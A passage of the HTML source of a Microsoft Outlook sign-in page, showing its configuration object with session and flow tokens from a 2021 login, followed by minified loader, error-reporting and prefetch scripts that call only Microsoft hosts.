gin.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
